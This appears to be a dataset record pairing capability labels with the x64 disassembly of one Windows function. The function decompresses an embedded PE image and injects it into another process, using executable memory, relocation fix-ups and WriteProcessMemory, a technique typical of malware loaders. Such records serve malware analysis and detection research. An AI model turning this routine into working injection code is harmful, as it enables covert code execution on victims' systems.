Function at 0x180001cf0
Capabilities:
Allocate or change rwx memory
Compress data via winapi
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rdx
push rbx
push rdi
push r12
push r13
push r14
sub rsp, 0x70
mov r13, qword [0x18000c118]
xor r12d, r12d
mov r14, rcx
lea rcx, [0x180008668]
mov rdi, rdx
mov dword [rax - 0x68], 0xe2
mov qword [rax - 0x60], r12
mov dword [rax - 0x58], 0xe3
mov qword [rax - 0x50], r12
mov dword [rax - 0x48], r12d
mov qword [rax - 0x40], r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001de2
lea rdx, [rsp + 0xb0]
mov rcx, r14
call rax
test eax, eax
je 0x180001de2
cmp dword [rsp + 0xb0], r12d
je 0x180001de2
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call fcn.180001730
mov rbx, rax
test rax, rax
je 0x180002039
mov ecx, dword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
mov dword [rsp + 0xb0], eax
mov dword [rsp + 0xb4], ecx
mov r8, qword [rsp + 0xb0]
mov rcx, rdi
call fcn.180005310
test eax, eax
jne 0x180002039
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
add rsp, 0x70
pop r14
pop r13
pop r12
pop rdi
pop rbx
jmp qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [r13]
mov ebx, dword [r13 + 4]
mov qword [rsp + 0xa0], rbp
lea rcx, str.ntdll.dll
mov qword [rsp + 0x68], rsi
lea rbp, [rsp + 0x30]
lea rsi, [rax + r13 + 8]
mov qword [rsp + 0xb0], r12
mov rdi, r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlDecompressBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001e70
lea r8, [rsp + 0xb0]
mov r9, rax
mov edx, ebx
mov rcx, rsi
call fcn.1800055f0
test eax, eax
je 0x180001e70
mov rbx, qword [rsp + 0xb0]
mov edx, eax
mov rcx, rbx
call fcn.180004fe0
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rdi, rdi
je 0x18000202c
movsxd rcx, dword [rdi + 0x3c]
mov eax, dword [r13]
mov qword [rsp + 0x60], r15
mov r15d, dword [rcx + rdi + 0x50]
mov ecx, dword [r13 + 4]
xor edx, edx
lea ebx, [rcx + rax + 0xf]
mov r9d, 0x3000
mov rcx, r14
and ebx, 0xfffffff8
mov dword [rsp + 0x20], 0x40
lea r8d, [rbx + r15]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x180001fe5
movsxd rcx, dword [rdi + 0x3c]
mov r11d, ebx
add rbx, rax
mov edx, dword [rcx + rdi + 0xb0]
test edx, edx
je 0x180001f3c
cmp dword [rcx + rdi + 0xb4], r12d
je 0x180001f3c
lea r10, [rdi + rdx]
mov r9, rbx
sub r9, qword [rcx + rdi + 0x30]
cmp dword [r10], r12d
je 0x180001f3c
nop
mov eax, dword [r10 + 4]
sub eax, 8
shr eax, 1
sub eax, 1
movsxd r8, eax
js 0x180001f30
movzx edx, word [r10 + r8*2 + 8]
mov ecx, edx
shr edx, 0xc
and ecx, 0xfff
add ecx, dword [r10]
add rcx, rdi
cmp edx, 3
je 0x180001f27
cmp edx, 0xa
jne 0x180001f2a
add qword [rcx], r9
jmp 0x180001f2a
add dword [rcx], r9d
sub r8, 1
jns 0x180001f01
mov eax, dword [r10 + 4]
add r10, rax
cmp dword [r10], r12d
jne 0x180001ef0
mov r9, r11
mov r8, r13
mov rdx, rsi
mov rcx, r14
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001fcd
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, r14
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001fcd
movsxd r9, dword [rdi + 0x3c]
mov r8d, dword [r9 + rdi + 0x88]
nop
test r8d, r8d
je 0x180001fb0
cmp dword [r9 + rdi + 0x8c], r12d
je 0x180001fb0
mov ecx, dword [rbp]
sub ecx, dword [r8 + rdi + 0x10]
cmp ecx, dword [r8 + rdi + 0x14]
jae 0x180001fab
mov eax, dword [r8 + rdi + 0x1c]
add rax, rdi
mov edx, dword [rax + rcx*4]
jmp 0x180001fb3
mov edx, r12d
jmp 0x180001fb3
mov edx, r12d
mov eax, edx
add rbp, 0x10
add rax, rbx
mov qword [rbp - 8], rax
cmp dword [rbp], r12d
ja 0x180001f80
mov r12, qword [rsp + 0x38]
jmp 0x180001fe5
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rsi, r12
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r15, qword [rsp + 0x60]
test rsi, rsi
je 0x18000202c
mov rcx, qword [rsp + 0xa8]
mov r8, rsi
mov rdx, r12
call fcn.180005310
test eax, eax
jne 0x18000202c
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rbp, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x68]
add rsp, 0x70
pop r14
pop r13
pop r12
pop rdi
pop rbx
ret